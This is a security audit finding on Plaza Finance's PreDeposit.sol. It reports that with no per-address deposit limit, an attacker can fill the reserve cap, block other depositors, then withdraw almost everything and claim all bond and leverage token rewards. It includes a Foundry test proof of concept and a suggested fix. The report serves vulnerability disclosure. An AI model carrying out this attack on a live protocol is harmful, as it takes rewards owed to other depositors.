Sharp Cyan Reindeer

High

# In PreDeposit.sol, an attacker can retaining only a minimal amount of reserveToken to monopolize all rewards.

### Summary

Due to the lack of a maximum deposit limit per address,will cause an attacker can deposit a large amount of funds at once.An attacker can rapidly fill the reserve by depositing an amount equal to the reserveCap in a single transaction, preventing other users from participating in deposits. Then, before the deposit period ends, the attacker can withdraw most of the reserveToken, leaving only a small amount of reserves(i.e 1 ether), thereby exploiting the reduced reserveAmount to obtain disproportionate rewards.

### Root Cause

It’s a mistake in the code in _deposit() function at "PreDeposit.sol".

In https://github.com/sherlock-audit/2024-12-plaza-finance/blob/14a962c52a8f4731bbe4655a2f6d0d85e144c7c2/plaza-evm/src/PreDeposit.sol#L118C2-L134C4 there is a minssing amount limit check on _deposit function,an attacker can rapidly fill the reserve by depositing an amount equal to the reserveCap in a single transaction, preventing other users from participating in deposits.

```solidity
 function _deposit(uint256 amount, address onBehalfOf) private checkDepositStarted checkDepositNotEnded {
    if (reserveAmount >= reserveCap) revert DepositCapReached();

    address recipient = onBehalfOf == address(0) ? msg.sender : onBehalfOf;

    // if user would like to put more than available in cap, fill the rest up to cap and add that to reserves
    if (reserveAmount + amount >= reserveCap) {
      amount = reserveCap - reserveAmount;
    }

    balances[recipient] += amount;
    reserveAmount += amount;

    IERC20(params.reserveToken).safeTransferFrom(msg.sender, address(this), amount);

    emit Deposited(recipient, amount);
  }
```

### Internal Pre-conditions

1. Attacker needs to have enough ReserveToken balance, >= reserveCap.
2. Attacker is the first deposit user.

### External Pre-conditions

1. The attacker's withdraw transaction needs to occupy as much of the final block space before the deposit end time as possible.

### Attack Path

1. Attacker as the first user to call deposit() function,and set amount equal reserveCap. This action will preventing other users from participating in deposits.
2. Attacker call withdraw() function at (block.timestamp < depositEndTime) the last time in PreDeposit process,and set amount equal (reserveCap - 1).This will leaving only a 1 ether of reserves.
3. Attacker call claim() function,obtain all bondToken and levToken rewards.

### Impact

Due to the presence of this vulnerability, an attacker can manipulate the distribution of reserves and the reward mechanism, resulting in the following impacts:

1.Prevention of Other Users' Deposits: By depositing an amount equal to the reserveCap in a single transaction, the attacker rapidly fills the reserves. This prevents other legitimate users from making deposits, restricting the platform's normal operations and users' participation opportunities.

2.Monopolization of Rewards: The attacker withdraws most of the reserve before the deposit period ends, leaving only a small amount of reserveToken. Since the rewards are calculated based on the reduced reserveAmount, the attacker can obtain almost all of the bond (bondToken) and leverage tokens (leverageToken) rewards with a minimal reserve, preventing other users from fairly receiving their deserved rewards.

3.Economic Loss: Other users may suffer economic losses due to the inability to participate in deposits and claim rewards. Additionally, such attack behaviors, the protocol team only collects 1 ether to distribute all bondTokens and levTokens to the attacker, potentially incurring a financial loss of (reserveCap – 1) ether. The exact loss depends on the value of reserveCap, which is very likely to exceed $100,000.








### PoC

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;

import "forge-std/Test.sol";

import {Pool} from "../src/Pool.sol";
import {Token} from "./mocks/Token.sol";
import {Utils} from "../src/lib/Utils.sol";
import {BondToken} from "../src/BondToken.sol";
import {PreDeposit} from "../src/PreDeposit.sol";
import {Distributor} from "../src/Distributor.sol";
import {PoolFactory} from "../src/PoolFactory.sol";
import {Deployer} from "../src/utils/Deployer.sol";
import {LeverageToken} from "../src/LeverageToken.sol";
import {UpgradeableBeacon} from "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";

contract PreDepositTest is Test {
  PreDeposit public preDeposit;
  Token public reserveToken;
  Token public couponToken;

  address user1 = address(2);
  address user2 = address(3);
  address nonOwner = address(4);

  PoolFactory private poolFactory;
  PoolFactory.PoolParams private params;
  Distributor private distributor;

  address private deployer = address(0x5);
  address private minter = address(0x6);
  address private governance = address(0x7);
  
  address public constant ethPriceFeed = address(0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70);

  uint256 constant INITIAL_BALANCE = 1000 ether;
  uint256 constant RESERVE_CAP = 100 ether;
  uint256 constant DEPOSIT_AMOUNT = 10 ether;
  uint256 constant BOND_AMOUNT = 50 ether;
  uint256 constant LEVERAGE_AMOUNT = 50 ether;

  function setUp() public { 
    // Set block time to 10 days in the future to avoid block.timestamp to start from 0
    vm.warp(block.timestamp + 10 days);

    vm.startPrank(governance);
    
    reserveToken = new Token("Wrapped ETH", "WETH", false);
    couponToken = new Token("USDC", "USDC", false);
    vm.stopPrank();

    setUp_PoolFactory();

    vm.startPrank(governance);

    params = PoolFactory.PoolParams({
      fee: 0,
      reserveToken: address(reserveToken),
      couponToken: address(couponToken),
      distributionPeriod: 90 days,
      sharesPerToken: 2 * 10**6,
      feeBeneficiary: address(0)
    });
    
    preDeposit = PreDeposit(Utils.deploy(address(new PreDeposit()), abi.encodeCall(PreDeposit.initialize, (
      params,
      address(poolFactory),
      block.timestamp,
      block.timestamp + 7 days,
      RESERVE_CAP,
      "",
      "", 
      "",
      ""
    ))));

    reserveToken.mint(user1, INITIAL_BALANCE);
    reserveToken.mint(user2, INITIAL_BALANCE);
    
    vm.stopPrank();
  }

  function setUp_PoolFactory() internal {
    vm.startPrank(deployer);

    address contractDeployer = address(new Deployer());
    
    address poolBeacon = address(new UpgradeableBeacon(address(new Pool()), governance));
    address bondBeacon = address(new UpgradeableBeacon(address(new BondToken()), governance));
    address levBeacon = address(new UpgradeableBeacon(address(new LeverageToken()), governance));
    address distributorBeacon = address(new UpgradeableBeacon(address(new Distributor()), governance));

    poolFactory = PoolFactory(Utils.deploy(address(new PoolFactory()), abi.encodeCall(
      PoolFactory.initialize, 
      (governance, contractDeployer, ethPriceFeed, poolBeacon, bondBeacon, levBeacon, distributorBeacon)
    )));

    vm.stopPrank();
  }

  function deployFakePool() public returns(address, address, address) {
    BondToken bondToken = BondToken(Utils.deploy(address(new BondToken()), abi.encodeCall(BondToken.initialize, (
      "", "", governance, governance, address(poolFactory), 0
    ))));
    
    LeverageToken lToken = LeverageToken(Utils.deploy(address(new LeverageToken()), abi.encodeCall(LeverageToken.initialize, (
      "", "", governance, governance, address(poolFactory)
    ))));

    Pool pool = Pool(Utils.deploy(address(new Pool()), abi.encodeCall(Pool.initialize, 
      (address(poolFactory), 0, address(reserveToken), address(bondToken), address(lToken), address(couponToken), 0, 0, address(0), address(0), false)
    )));

    // Adds fake pool to preDeposit contract
    uint256 poolSlot = 0;
    vm.store(address(preDeposit), bytes32(poolSlot), bytes32(uint256(uint160(address(pool)))));
    return (address(pool), address(bondToken), address(lToken));
  }

  function resetReentrancy(address contractAddress) public {
    // Reset `_status` to allow the next call
    vm.store(
      contractAddress,
      bytes32(0x9b779b17422d0df92223018b32b4d1fa46e071723d6817e2486d003becc55f00), // Storage slot for `_status`
      bytes32(uint256(1))  // Reset to `_NOT_ENTERED`
    );
  }

  // reserveCAP = 100 ether
  function testClaimTwoUsersSameBondShare() public {
    // Setup initial deposit
    vm.startPrank(user1);
    uint256 user1_before_deposit_balance=reserveToken.balanceOf(user1);
    console.logUint(user1_before_deposit_balance);
    reserveToken.approve(address(preDeposit), 100 ether);
    // attacker deposit 100 ether to reach reserveCap
    preDeposit.deposit(100 ether);
    uint256 user1_after_deposit_balance=reserveToken.balanceOf(user1);
    console.logUint(user1_after_deposit_balance);
    vm.stopPrank();
    // other users can't deposit 
    vm.startPrank(user2);
    reserveToken.approve(address(preDeposit), DEPOSIT_AMOUNT);
    vm.expectRevert(PreDeposit.DepositCapReached.selector);
    preDeposit.deposit(DEPOSIT_AMOUNT);
    vm.stopPrank();

    
    vm.startPrank(governance);
    preDeposit.setBondAndLeverageAmount(BOND_AMOUNT, LEVERAGE_AMOUNT); // 各 50 ether
    vm.stopPrank();
    // before deposit endtime,withdraw most ReserveToken 
    vm.startPrank(user1);
    preDeposit.withdraw(99 ether); // leaving 1 ether
    uint256 user1_after_withdraw_balance=reserveToken.balanceOf(user1);
    console.logUint(user1_after_withdraw_balance);
    vm.stopPrank();
    // after deposit endtime,create pool
    vm.startPrank(governance);
    vm.warp(block.timestamp + 8 days); // After deposit period
    poolFactory.grantRole(poolFactory.POOL_ROLE(), address(preDeposit));
    preDeposit.createPool();
    vm.stopPrank();

    
    address bondToken = address(Pool(preDeposit.pool()).bondToken());
    address leverageToken = address(Pool(preDeposit.pool()).lToken());
    // attacker claim all tokens
    vm.prank(user1);
    preDeposit.claim();
    
    vm.prank(user2);
    vm.expectRevert(PreDeposit.NothingToClaim.selector);
    preDeposit.claim();
    
    uint256 user1_bond_share = BondToken(bondToken).balanceOf(user1);
    uint256 user1_lev_share = BondToken(leverageToken).balanceOf(user1);
    uint256 user2_bond_share = BondToken(bondToken).balanceOf(user2);
    uint256 user2_lev_share = BondToken(leverageToken).balanceOf(user2);

    assertEq(user1_bond_share, user1_lev_share);
    assertEq(user1_bond_share, 50 ether);
    assertEq(user2_bond_share, 0 ether);
    assertEq(user2_lev_share, 0 ether);

  }
 
}




```

### Mitigation

1. set maximum deposit limit per address in deposit() function at PreDeposit.sol